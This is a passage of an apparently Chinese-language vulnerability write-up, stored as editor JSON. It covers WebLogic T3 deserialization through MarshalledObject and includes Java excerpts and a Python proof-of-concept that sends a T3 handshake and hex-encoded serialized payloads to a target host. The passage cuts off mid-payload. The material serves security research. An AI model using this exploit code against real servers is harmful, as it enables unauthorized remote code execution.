this.objBytes[var5];&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;13ln-1673884872363&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZaAI-1673884872362&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;q7Kw-1673884872365&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1Psv-1673884872364&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mb1c-1673884872367&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DXwZ-1673884872366&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this.hash = var4;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sUrx-1673884872370&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fpbH-1673884872369&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ubgO-1673884872372&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7VSO-1673884872371&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SCvn-1673884872374&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;aQTf-1673884872373&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DIP7-1673884872376&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FT1J-1673884872375&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public Object readResolve() throws IOException, ClassNotFoundException, ObjectStreamException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HKNR-1673884872378&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Kbkx-1673884872377&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (this.objBytes == null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xuIb-1673884872380&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MtFY-1673884872379&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return null;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VtXd-1673884872382&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DL4j-1673884872381&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3A1z-1673884872384&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;aXd1-1673884872383&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ByteArrayInputStream var1 = new ByteArrayInputStream(this.objBytes);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qQny-1673884872386&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dFXy-1673884872385&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ObjectInputStream var2 = new ObjectInputStream(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5ZWp-1673884872388&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WmMB-1673884872387&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        Object var3 = var2.readObject();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Llva-1673884872390&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9YEV-1673884872389&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var2.close();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SEDz-1673884872392&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7A1D-1673884872391&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return var3;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cn9g-1673884872394&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;eDwI-1673884872393&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bZQs-1673884872396&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lkyJ-1673884872395&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;java&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zdny-1673883241049&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;V06C-1673883241047&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;MarshalledObject并未重写&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#000000&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]},{&#34;text&#34;:&#34;readObject方法或实现readExternal方法，使用原生的&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;ObjectInputStream方法实现反序列化。&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#000000&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LADH-1673885150353&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7tYF-1673885150352&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;R9sj-1673885150351&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;weblogic.corba.utils.MarshalledObject marshalledObject = new MarshalledObject(payload_here);&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;java&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5iJb-1673883241528&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;c3NP-1673883241526&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;直接用&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;MarshalledObject的构造方法生成对象，封装反序列化流：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#000000&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bSVB-1673885773909&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5207/WEBRESOURCEdffb245e8291b93f43561013a0912372&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EIql-1673861452399&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CTvx-1673861452398&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;y9Y6-1673886011236&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0EHs-1673886011233&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;还是使用上文中的poc脚本：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;49an-1673886049175&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1Zo1-1673886049046&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;b2ND-1673886049045&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import binascii&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1kaL-1673886074102&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;O4Ay-1673886074101&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import socket&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ClWH-1673886074104&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cvp4-1673886074103&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import struct&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tEJH-1673886074106&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;n7FM-1673886074105&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import subprocess&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KBb9-1673886074108&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7wEe-1673886074107&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import time&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ONHJ-1673886074110&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZjHI-1673886074109&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;from multiprocessing.managers import SyncManager&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Aagr-1673886074112&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8G1T-1673886074111&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;from typing import Any, Dict, List, Mapping, Tuple, Union&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0sjj-1673886074114&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;78cX-1673886074113&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;K6hN-1673886074117&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9N34-1673886074115&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;from stars import target_type, Star&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;khsl-1673886074119&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XUr3-1673886074118&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;p37j-1673886074121&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QJW1-1673886074120&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;def light_up( dip, dport, force_ssl=None, delay=1, timeout=5, *args, **kwargs) -&gt; (bool, dict):&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gcAt-1673886074123&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;j16o-1673886074122&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        # T3协议握手&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RQkL-1673886074125&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QylG-1673886074124&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        dport = int(dport)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;olzu-1673886074127&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5dh1-1673886074126&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;egMg-1673886074129&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7rca-1673886074128&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        sock.settimeout(timeout)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yLSv-1673886074131&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OaQ6-1673886074130&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Tf2a-1673886074133&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XvuU-1673886074132&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            sock.connect((dip, dport))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fwX5-1673886074135&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2UCP-1673886074134&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        except socket.timeout:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;chqS-1673886074137&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2zlE-1673886074136&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return False, {&#39;msg&#39;: &#39;connection timeout.&#39;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AANv-1673886074139&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HZul-1673886074138&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        except ConnectionRefusedError:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KRtU-1673886074141&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5iUn-1673886074140&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return False, {&#39;msg&#39;: &#39;connection refuse.&#39;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SWIx-1673886074143&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QIjQ-1673886074142&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        sock.send(bytes.fromhex(&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VUJA-1673886074145&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fSe7-1673886074144&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            &#39;74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a&#39;))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0ssj-1673886074147&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6fWr-1673886074146&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        time.sleep(delay)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qtuj-1673886074149&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cwNA-1673886074148&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        sock.recv(1024)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JCM8-1673886074151&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DLuS-1673886074150&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ozRt-1673886074153&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;35Mi-1673886074152&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        # 构造T3协议头&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lydc-1673886074155&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;By3x-1673886074154&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        data1 = &#39;000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371&#39;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oV2z-1673886074157&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2B83-1673886074156&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        data2 = &#39;007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07&#39;.format(&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yn1c-1673886074159&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IguK-1673886074158&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            &#39;{:04x}&#39;.format(dport))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Skeb-1673886074161&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SQDt-1673886074160&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        data3 = &#39;1a7727000d3234322e323134&#39;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oO9i-1673886074163&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sg44-1673886074162&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        data4 = &#39;2e312e32353461863d1d0000000078&#39;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yLin-1673886074165&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uZrH-1673886074164&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        for d in [data1, data2, data3, data4]:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;345J-1673886074167&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;i7eL-1673886074166&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            sock.send(bytes.fromhex(d))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ANqP-1673886074169&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fNh9-1673886074168&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        payload = &#39;056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000&#39;&#34;,&#34;marks&#34;